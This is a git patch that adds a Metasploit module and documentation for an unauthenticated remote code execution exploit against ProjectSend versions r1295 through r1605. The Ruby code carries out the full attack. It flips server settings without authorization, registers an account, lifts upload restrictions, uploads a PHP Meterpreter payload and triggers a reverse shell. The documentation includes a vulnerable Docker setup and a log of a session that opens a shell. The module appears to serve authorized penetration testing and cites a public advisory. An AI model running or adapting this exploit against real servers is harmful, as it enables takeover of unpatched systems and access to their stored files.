From 68eb6599fd9d6db9bfba384515721eba1731cddc Mon Sep 17 00:00:00 2001 From: ostrichgolf <81223825+ostrichgolf@users.noreply.github.com> Date: Fri, 30 Aug 2024 20:22:52 +0200 Subject: [PATCH] Create projectsend_unauth_rce --- .../linux/http/projectsend_unauth_rce.md | 114 +++++ .../linux/http/projectsend_unauth_rce.rb | 454 ++++++++++++++++++ 2 files changed, 568 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/projectsend_unauth_rce.md create mode 100644 modules/exploits/linux/http/projectsend_unauth_rce.rb diff --git a/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md new file mode 100644 index 000000000000..9511e2ee287a --- /dev/null +++ b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md @@ -0,0 +1,114 @@ +## Vulnerable Application +ProjectSend is a web application used for sharing files with clients. + +Due to POST parameters being executed before checking user permissions, +it is possible to perform a series of actions that can result in unauthenticated Remote Code Execution (RCE) +on vulnerable versions of ProjectSend. + +This module has been tested against ProjectSend versions r1295 through r1605 on Linux. + +The easiest way to obtain a vulnerable version of ProjectSend is by deploying it using Docker, as pre-made images exist for the software. +The following Docker Compose file can be used to set up a vulnerable environment. + +``` +--- + services: + projectsend: + image: lscr.io/linuxserver/projectsend:version-r1605 + container_name: projectsend + environment: + - PUID=1000 + - PGID=1000 + - TZ=Etc/UTC + - MAX_UPLOAD=5000 + volumes: + - ./projectsend/config:/config + - ./projectsend/data:/data + ports: + - 80:80 + restart: unless-stopped + db: + image: mariadb + restart: unless-stopped + container_name: db + volumes: + - ./mariadb_data:/var/lib/mysql + environment: + MYSQL_ROOT_PASSWORD: password + MYSQL_DATABASE: projectsend + MYSQL_USER: projectsend + MYSQL_PASSWORD: projectsend +``` +After launching the containers, ProjectSend requires an initial configuration, +which can be completed by accessing it via port 80 on localhost. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/projectsend_unauth_rce` +4. Set remote hosts: `set RHOSTS ` +5. Set remote port: `set RPORT ` +6. Set the path to ProjectSend: `set TARGETURI ` +7. Set local host: `set LHOST ` +8. Do: `run` +9. You should get a shell + +``` +msf6 exploit(linux/http/projectsend_unauth_rce) > options + +Module options (exploit/linux/http/projectsend_unauth_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The TARGETURI for ProjectSend + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.20 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 PHP Command +``` + +## Options +N/A - Only default options. + +## Scenarios +``` +msf6 exploit(linux/http/projectsend_unauth_rce) > run + +[*] Started reverse TCP handler on 192.168.1.20:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[+] Client registration successfully enabled +[+] User alvin.padberg created with password lrASo3iM +[*] Disabling upload restrictions... +[*] Logging in as alvin.padberg... +[+] Logged in as alvin.padberg +[+] Successfully uploaded PHP file: sX1A4FCH.php +[*] Sending stage (39927 bytes) to 192.168.1.20 +[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.20:56675) at 2024-09-23 19:01:29 +0200 +[*] Logging in as alvin.padberg... +[+] Logged in as alvin.padberg +[+] Client registration successfully disabled +[*] Enabling upload restrictions... + +meterpreter > sysinfo +Computer : 1480205e55c2 +OS : Linux 1480205e55c2 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64 +Meterpreter : php/linux +``` diff --git a/modules/exploits/linux/http/projectsend_unauth_rce.rb b/modules/exploits/linux/http/projectsend_unauth_rce.rb new file mode 100644 index 000000000000..eab3ed361ea9 --- /dev/null +++ b/modules/exploits/linux/http/projectsend_unauth_rce.rb @@ -0,0 +1,454 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + prepend Msf::Exploit::Remote::AutoCheck + + class CSRFRetrievalError < StandardError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. + The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, + disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Florent Sicchio', # Discovery + 'Hugo Clout', # Discovery + 'ostrichgolf' # Metasploit module + ], + 'References' => [ + ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'], + ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'], + ], + 'DisclosureDate' => '2024-07-19', + 'DefaultTarget' => 0, + 'Targets' => [ + [ + 'PHP Command', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + register_options( + [ + OptString.new( + 'TARGETURI', + [true, 'The TARGETURI for ProjectSend', '/'] + ) + ] + ) + end + + def check + # Obtain the current title of the website + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + return CheckCode::Unknown('Target is not reachable') unless res + + # The title will always contain "»" ("»") regardless of localization. For example: "Log in » ProjectSend" + title_regex = %r{.*?»\s+(.*?)} + original_title = res.body[title_regex, 1] + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + return CheckCode::Unknown("#{e.class}: #{e}") + end + + # Generate a new title for the website + random_new_title = Rex::Text.rand_text_alphanumeric(8) + + # Test if the instance is vulnerable by trying to change its title + params = { + 'csrf_token' => csrf_token, + 'section' => 'general', + 'this_install_title' => random_new_title + } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + + return CheckCode::Unknown('Failed to connect to the provided URL') unless res + + # GET request to check if the title updated + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + + # Extract new title for comparison + updated_title = res.body[title_regex, 1] + + if updated_title != random_new_title + return CheckCode::Safe + end + + # If the title was changed, it is vulnerable and we should restore the original title + params = { + 'csrf_token' => csrf_token, + 'section' => 'general', + 'this_install_title' => original_title + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + + return CheckCode::Appears + end + + def get_csrf_token + vprint_status('Extracting CSRF token...') + # Make sure we start from a request with no cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), + 'keep_cookies' => true + }) + + unless res + fail_with(Failure::Unknown, 'No response from server') + end + + # Obtain CSRF token + csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text + + raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty? + + vprint_good("Extracted CSRF token: #{csrf_token}") + + csrf_token + end + + def enable_user_registration_and_auto_approve + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files + params = { + 'csrf_token' => csrf_token, + 'section' => 'clients', + 'clients_can_register' => 1, + 'clients_auto_approve' => 1, + 'clients_can_upload' => 1, + 'clients_can_delete_own_files' => 1, + 'clients_auto_group' => 0, + 'clients_can_select_group' => 'none', + 'expired_files_hide' => '1' + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'vars_post' => params + }) + + # Check if we successfully enabled clients registration + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + + if res&.code == 200 && res.body.include?('Register as a new client.') + print_good('Client registration successfully enabled') + else + fail_with(Failure::Unknown, 'Could not enable client registration') + end + end + + def register_new_user(username, password) + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + # Create a new user with the previously generated username and password + params = { + 'csrf_token' => csrf_token, + 'name' => username, + 'username' => username, + 'password' => password, + 'email' => Rex::Text.rand_mail_address, + 'address' => Rex::Text.rand_text_alphanumeric(8) + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + + fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403 + print_good("User #{username} created with password #{password}") + end + + def disable_upload_restrictions + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + print_status('Disabling upload restrictions...') + + # Disable upload restrictions, to allow us to upload our shell + params = { + 'csrf_token' => csrf_token, + 'section' => 'security', + 'file_types_limit_to' => 'noone' + } + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + end + + def login(username, password) + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + print_status("Logging in as #{username}...") + + # Attempt to login as our newly created user + params = { + 'csrf_token' => csrf_token, + 'do' => 'login', + 'username' => username, + 'password' => password + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), + 'vars_post' => params, + 'keep_cookies' => true + }) + + # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login + if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php')) + print_good("Logged in as #{username}") + return csrf_token + else + fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again') + end + end + + def upload_file(username, password, filename) + login(username, password) + + # Craft the payload + payload = get_write_exec_payload(unlink_self: true) + data = Rex::MIME::Message.new + data.add_part(filename, nil, nil, 'form-data; name="name"') + data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"") + post_data = data.to_s + + # Upload the shell using a POST request + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'keep_cookies' => true + }) + + # Check if the server confirms our upload as successful + if res && res.body.include?('"OK":1') + print_good("Successfully uploaded PHP file: #{filename}") + + json_response = res.get_json_document + @file_id = json_response.dig('info', 'id') + + return res.headers['Date'] + else + fail_with(Failure::Unknown, 'PHP file upload failed') + end + end + + def calculate_potential_filenames(username, upload_time, filename) + # Hash the username + hashed_username = Digest::SHA1.hexdigest(username) + + # Parse the upload time + base_time = Time.parse(upload_time).utc + + # Array to store all possible URLs + possible_urls = [] + + # Iterate over all timezones + (-12..14).each do |timezone| + # Update the variable to reflect the currently looping timezone + adj_time = base_time + (timezone * 3600) + + # Insert the potential URL into our array + possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}" + end + + possible_urls + end + + def cleanup + super + + # Delete uploaded file + if @file_id + cookie_jar.clear + csrf_token = login(@username, @password) + + # Delete our uploaded payload from the portal + params = { + 'csrf_token' => csrf_token, + 'action' => 'delete', + 'batch[]' => @file_id + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'), + 'vars_post' => params, + 'keep_cookies' => true + }) + + # Version r1295 uses a GET request to delete the uploaded file + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'action' => 'delete', + 'batch[]' => @file_id + } + }) + end + + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files + params = { + 'csrf_token' => csrf_token, + 'section' => 'clients', + 'clients_can_register' => 0, + 'clients_auto_approve' => 0, + 'clients_can_upload' => 0, + 'clients_can_delete_own_files' => 0 + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'vars_post' => params + }) + + # Check if we successfully disabled client registration + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + + if res&.body&.include?('Register as a new client.') + fail_with(Failure::Unknown, 'Could not disable client registration') + end + print_good('Client registration successfully disabled') + + print_status('Enabling upload restrictions...') + + # Enable upload restrictions for every user + params = { + 'csrf_token' => csrf_token, + 'section' => 'security', + 'file_types_limit_to' => 'all' + } + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'vars_post' => params + }) + end + + def trigger_shell(potential_urls) + # Visit each URL, to trigger our payload + potential_urls.each do |url| + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url) + }, 1) + end + end + + def exploit + enable_user_registration_and_auto_approve + + username = Faker::Internet.username + password = Rex::Text.rand_text_alphanumeric(8) + filename = Rex::Text.rand_text_alphanumeric(8) + '.php' + + # Set instance variables for cleanup function + @username = username + @password = password + + register_new_user(username, password) + + disable_upload_restrictions + + upload_time = upload_file(username, password, filename) + + potential_urls = calculate_potential_filenames(username, upload_time, filename) + + trigger_shell(potential_urls) + end +end